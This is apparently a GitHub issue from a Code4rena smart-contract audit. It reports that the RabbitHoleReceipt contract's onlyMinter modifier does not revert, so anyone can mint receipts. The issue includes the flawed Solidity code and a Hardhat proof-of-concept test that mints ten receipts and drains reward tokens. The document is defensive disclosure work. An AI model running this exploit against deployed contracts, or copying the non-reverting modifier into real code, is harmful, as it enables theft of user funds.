Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

User, who is not RabbitHoleReceipt contract's minter, can mint RabbitHole receipts and claim associated rewards #449

Closed
code423n4 opened this issue Jan 30, 2023 · 2 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-608 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L98-L104
https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L58-L61

Vulnerability details

Impact

Anyone can call the following RabbitHoleReceipt.mint function to mint one or more RabbitHole receipt without the claim signer's consent because its RabbitHoleReceipt.onlyMinter modifier executes msg.sender == minterAddress, which does not revert when msg.sender is not minterAddress. A malicious actor is able to mint as many RabbitHole receipts as she or he wants and claim the associated rewards to drain most or all of the reward token balance owned by the quest contract.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L98-L104

    function mint(address to_, string memory questId_) public onlyMinter {
        _tokenIds.increment();
        uint newTokenID = _tokenIds.current();
        questIdForTokenId[newTokenID] = questId_;
        timestampForTokenId[newTokenID] = block.timestamp;
        _safeMint(to_, newTokenID);
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L58-L61

    modifier onlyMinter() {
        msg.sender == minterAddress;
        _;
    }

Proof of Concept

Please append the following test in the claim() describe block in quest-protocol\test\Erc20Quest.spec.ts. This test will pass to demonstrate the described scenario.

    it.only("User, who is not RabbitHoleReceipt contract's minter, can mint RabbitHole receipts and claim associated rewards", async () => {
      // owner is RabbitHoleReceipt contract's minter
      const minterAddress = await deployedRabbitholeReceiptContract.minterAddress()
      expect(minterAddress, owner.address)

      await deployedQuestContract.start()

      await ethers.provider.send('evm_increaseTime', [10000])

      // firstAddress does not own any reward tokens at this moment
      expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(0)

      const startingQuestContractRewardTokenBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)

      // firstAddress, who is not RabbitHoleReceipt contract's minter,
      //   is able to mint multiple RabbitHole receipts without claim signer's consent and claim the associated rewards 
      for (let i = 0; i < 10; i++) {
        await deployedRabbitholeReceiptContract.connect(firstAddress).mint(firstAddress.address, questId)
        await deployedQuestContract.connect(firstAddress).claim()
      }

      // firstAddress now owns rewardAmount * 10 reward tokens
      expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(rewardAmount * 10)

      // quest contract now owns rewardAmount * 10 less reward tokens than before
      const endQuestContractRewardTokenBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)
      expect(startingQuestContractRewardTokenBalance.sub(endQuestContractRewardTokenBalance)).to.equal(rewardAmount * 10)

      await ethers.provider.send('evm_increaseTime', [-10000])
    })

Tools Used

VSCode

Recommended Mitigation Steps

The RabbitHoleReceipt.onlyMinter modifier can be updated to revert if msg.sender is not minterAddress.

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Jan 30, 2023
code423n4 added a commit that referenced this issue Jan 30, 2023
@c4-judge c4-judge closed this as completed Feb 6, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Feb 6, 2023

kirk-baird marked the issue as duplicate of #9

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Feb 14, 2023
@c4-judge
Copy link
Contributor

kirk-baird marked the issue as satisfactory

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-608 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

2 participants